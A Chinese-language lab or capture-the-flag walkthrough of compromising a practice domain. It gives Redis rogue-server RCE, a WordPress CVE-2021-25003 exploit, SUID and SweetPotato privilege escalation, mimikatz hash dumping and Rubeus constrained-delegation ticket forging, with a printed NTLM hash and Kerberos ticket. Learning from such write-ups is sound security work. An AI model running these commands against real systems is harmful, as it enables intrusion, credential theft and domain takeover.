flag01
fscan:
发现有Redis未授权,尝试写计划任务弹shell,但是权限不够。
可以打主从复制,服务端上部署恶意Redis服务:[[<=5.0.5) RCE (github.com)](https://github.com/n0b0dyCN/redis-rogue-server|n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE (github.com)]]
先监听8888端口:
1 | python3 redis-rogue-server.py --rhost 39.99.144.205 --lhost IP |
开启交互式shell:
1 | python -c 'import pty; pty.spawn("/bin/bash")' |
如果没有交互式shell,将会有诸多弊端:
没有 TTY 设备: 许多需要终端交互的命令(如
su
,sudo
,ssh
)可能无法正常运行,并提示 “must be run from a terminal” 之类的错误。功能受限: 无法使用 Tab 自动补全、方向键浏览历史命令等便捷功能。
不稳定的会话: 使用
Ctrl+C
可能会直接终止整个反向 shell 连接。
想读flag,但是权限不够:
尝试suid提权:
1 | find / -user root -perm -4000 -print 2>/dev/null |
看到有base64,可以读文件
这样来找flag可以抛弃掉错误,防止报出来一堆:
1 | find / -name flag* 2>/dev/null |
1 | base64 "/home/redis/flag/flag01" | base64 --decode |
小tips:这样可以后台运行可执行文件,防止一个shell被卡死
1 | nohup ./ & |
flag02
内网信息搜集:
五台主机:
1 | (icmp) Target 172.22.2.18 is alive |
有一个WP网站,想打了。
扫描一下
1 | proxychains4 wpscan --url http://172.22.2.18 |
该组件版本小于6.9.0时存在RCE漏洞,以下是利用脚本:(后面再来细究一下原理)
https://github.com/biulove0x/CVE-2021-25003
1 | python .py -t http://xxx |
连接蚁剑:
发现数据库配置文件泄露:``
这里登错了(不要用root!)
flag2:
flag03
根据提示,这里能发现一些密码字典:
这里不够细,应该多观察一下SQL语句的,把limit限制去掉:
这样就dump出来1000多个。
用fscan爆破一下:
MDUT连进去,拿shell:
权限低:
尝试甜土豆提权:
1 | C:/Users/Public/sweetpotato.exe -a "whoami" |
直接读flag:
flag04
systeminfo 发现域环境:
上传mimikatz,抓取哈希值:
1 | privilege::debug |
1 | sekurlsa::logonpasswords |
3b32d2637bc6c20aff34a72f52aa32fd
MSSQL账户的NTLM哈希
这里似乎无法打哈希传递,因为admin$
共享未开启。
打约束委派攻击:
1 | AdFind.exe -b "DC=xiaorang,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto |
这里先用域服务账号请求一个TGT:
1 | .\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:3b32d2637bc6c20aff34a72f52aa32fd /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt |
1 | doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2U81ujXxUEQydmZUkWVhsqS8l0foHgFgM/ubtCFJJPBFrOP7+EAoonD0OxXUEjrc3xP93mPSmOG5WPt8K41gWkU4WJSME1PWZ3kN12cCx7HiletUDDychNIAgfEsknwWfrIM8c9rwVT3Y8PiNZfLADdnuAtBq8Hf062P/N/J8f3zurnFPCVbvdarWVYG9EDtnpzhJx1/Vn0ckYsB7+b/vlBM+SyW40hefiqBnxKmjwd7aelLAMgWbiAbnq5tJM5nUNqCR/QKh68Ox2z1IWdAf7l7ftuW6o372YVonjwYlcKg+05U6S6fb/aAIdCu94M8QPNrHt9AIfcAENTjoREGypw89QBrIJnZcoAFGizQ1mft9bVG55vIZeuaxf57fDEQ+GbNgQUGQb2VvECpmr8V+5InazA+MdNhhzOai4Tw1TC1mbmqaN+FQFUBKnHPny6q2IxezvBqWEuIC3NoFA303v/9EDduXRwgzsJlBDPtzSl02p+DGhIoRFNXY01RX0jn1uHuLue1vgKbCzXmXjA/NQx2gCFt3tLmh/MEttodjViOCL+y6GvCzFUARSC19Q0HJifIRTPSc6lXtATgu5d+gzQZ4/XBCB6yMvzUZVaRi8p4XvgpoxsxYmBANGMoQIxOefF524d1pIvLV9/vuxLBUOAQdXkJQf2lNBjsVuY157RBjkFYAvkUOHovFZfYXUtaDSaVQlygWSGqutzjUvqB11c/F8nDELOQvUpTH5EfjEWacP46i+IXbnIZazcoSYgEw7dPq/p2Flqo3XbilbuVDmc6aoo9Rb9s4m6orFaLRuJUSS61IBpgNnBDOAOgjQuP8mjJEV1cUV845otRpUHzr17jbfG84l8dW2KOwiW+RiZs5W+EuBrCfee+ei2BajChIAlQ0wEUMjDiTTwVNuNy8DrC3zeKlvreFLTjULnlN1gxbHG1BU6bRumRKy2v8sd2C6vkns69c8vhc5qq01rC6xviPExGRh1mroxmfuA78eAR6RVSWgo0ulpBu0mfh6LUCSR9I2KJQhaeUwBiFfgH4qg2wFD5bbGw4K2Kd8qPqT0UmX7j2uIBBu1/V8BXdXPGrDY/+Fs9RGj8kftM+jtmin52ZB1QeRtrUb9yeOlOYgA4kVBGM0XVcw1NXgMrcuUM97XU3AnkazCwu9Liri90TQZBa/lYN4j+61kRTh+ffiAeFzUWEC2Un4NxpT7KglNmwGRJdJgBo5tYh/cbpI2/NNzAnbh7g6SNKprXARIp07lCKX/EZ8omD/EWzn29vNCC3lKwR5bSm2aBRoihgGdaRM0k90Nrxsx1DWQBqP1VDoRez8NuI7V4yVy83Mje3uRToSgIeX853gb5DOUtBRi1r4gk2Ekvtf2ASckLAULV2zQ7oHaDjYAaMMsLvZc4pGXOaIuEXJGByWvMZzkHz1HK488h+XO/z3yWLMMZgyrNDQH+mYZI0M+1Ur1t4cVkqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBDtUeoR/JiD5oBCrWz9F7tloQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MTAxNDE0Mjg0OVqmERgPMjAyNTEwMTUwMDI4NDlapxEYDzIwMjUxMDIxMTQyODQ5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== |
将票据注入内存:
1 | .\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2U81ujXxUEQydmZUkWVhsqS8l0foHgFgM/ubtCFJJPBFrOP7+EAoonD0OxXUEjrc3xP93mPSmOG5WPt8K41gWkU4WJSME1PWZ3kN12cCx7HiletUDDychNIAgfEsknwWfrIM8c9rwVT3Y8PiNZfLADdnuAtBq8Hf062P/N/J8f3zurnFPCVbvdarWVYG9EDtnpzhJx1/Vn0ckYsB7+b/vlBM+SyW40hefiqBnxKmjwd7aelLAMgWbiAbnq5tJM5nUNqCR/QKh68Ox2z1IWdAf7l7ftuW6o372YVonjwYlcKg+05U6S6fb/aAIdCu94M8QPNrHt9AIfcAENTjoREGypw89QBrIJnZcoAFGizQ1mft9bVG55vIZeuaxf57fDEQ+GbNgQUGQb2VvECpmr8V+5InazA+MdNhhzOai4Tw1TC1mbmqaN+FQFUBKnHPny6q2IxezvBqWEuIC3NoFA303v/9EDduXRwgzsJlBDPtzSl02p+DGhIoRFNXY01RX0jn1uHuLue1vgKbCzXmXjA/NQx2gCFt3tLmh/MEttodjViOCL+y6GvCzFUARSC19Q0HJifIRTPSc6lXtATgu5d+gzQZ4/XBCB6yMvzUZVaRi8p4XvgpoxsxYmBANGMoQIxOefF524d1pIvLV9/vuxLBUOAQdXkJQf2lNBjsVuY157RBjkFYAvkUOHovFZfYXUtaDSaVQlygWSGqutzjUvqB11c/F8nDELOQvUpTH5EfjEWacP46i+IXbnIZazcoSYgEw7dPq/p2Flqo3XbilbuVDmc6aoo9Rb9s4m6orFaLRuJUSS61IBpgNnBDOAOgjQuP8mjJEV1cUV845otRpUHzr17jbfG84l8dW2KOwiW+RiZs5W+EuBrCfee+ei2BajChIAlQ0wEUMjDiTTwVNuNy8DrC3zeKlvreFLTjULnlN1gxbHG1BU6bRumRKy2v8sd2C6vkns69c8vhc5qq01rC6xviPExGRh1mroxmfuA78eAR6RVSWgo0ulpBu0mfh6LUCSR9I2KJQhaeUwBiFfgH4qg2wFD5bbGw4K2Kd8qPqT0UmX7j2uIBBu1/V8BXdXPGrDY/+Fs9RGj8kftM+jtmin52ZB1QeRtrUb9yeOlOYgA4kVBGM0XVcw1NXgMrcuUM97XU3AnkazCwu9Liri90TQZBa/lYN4j+61kRTh+ffiAeFzUWEC2Un4NxpT7KglNmwGRJdJgBo5tYh/cbpI2/NNzAnbh7g6SNKprXARIp07lCKX/EZ8omD/EWzn29vNCC3lKwR5bSm2aBRoihgGdaRM0k90Nrxsx1DWQBqP1VDoRez8NuI7V4yVy83Mje3uRToSgIeX853gb5DOUtBRi1r4gk2Ekvtf2ASckLAULV2zQ7oHaDjYAaMMsLvZc4pGXOaIuEXJGByWvMZzkHz1HK488h+XO/z3yWLMMZgyrNDQH+mYZI0M+1Ur1t4cVkqjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBDtUeoR/JiD5oBCrWz9F7tloQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI1MTAxNDE0Mjg0OVqmERgPMjAyNTEwMTUwMDI4NDlapxEYDzIwMjUxMDIxMTQyODQ5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg== |
注入成功,读取flag:
1 | type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt |
关于最后约束委派攻击的比喻
我:公司的普通员工
老板:拥有所有机密文件的最高权限(域管理员)
机密档案室:存放公司机密的房间(域控的C$共享)
公司前台:负责验证身份和发放通行证(域控制器/KDC)
特权快递员:可以代表老板去档案室取文件(配置了约束性委派的服务账户)
快递员的工牌:(服务账户的TGT)
档案室有严格规定:只认老板本人或者他委派的特权快递员
1、控制了快递员
对应技术:通过密码喷洒、哈希传递或内存dump等方式,控制了服务账户
2、跟前台说:我是特权快递员。老板让我替他取档案室的文件,但我没有他的直接授权。请给我开一张‘老板授权我办事’的证明。
前台核实了我的快递员身份后,给了我一张证明,上面写着:
持证快递员已获得老板授权,可办理相关业务。
对应技术:这是 S4U2Self 过程。攻击者用服务账户的TGT,向KDC申请一张以老板身份(Administrator) 访问服务自身的可转发(Forwardable) 的ST票据。
3、换取档案室通行证(S4U2Proxy)
我拿着这张“老板授权书”和快递员工牌,再次回到前台,说:
这是老板的授权书。现在请给我一张进入档案室的老板专属通行证。
前台检查了三样东西:
- 快递员工牌有效。
- 授权书真实有效且允许转发。
- 最关键一步:前台翻看公司规章,确认这名快递员确实在“允许代老板取件”的名单上(这就是约束的含义,他只能去档案室,不能去其他禁区)。
核查无误后,前台给了我一张真正的档案室通行证,上面写着老板的名字。
对应技术:这是 S4U2Proxy 过程。攻击者用S4U2Self获得的票据作为凭据,向KDC申请以老板身份访问特定服务(如cifs/DC2016) 的最终ST票据。
4、我把这张伪造的老板通行证塞进自己的口袋(注入内存),并通过了档案室的门禁系统,窃取了机密文件
对应技术:将最终获得的服务票据(ST)注入内存,然后访问目标服务,如执行 dir \DC2016\C$。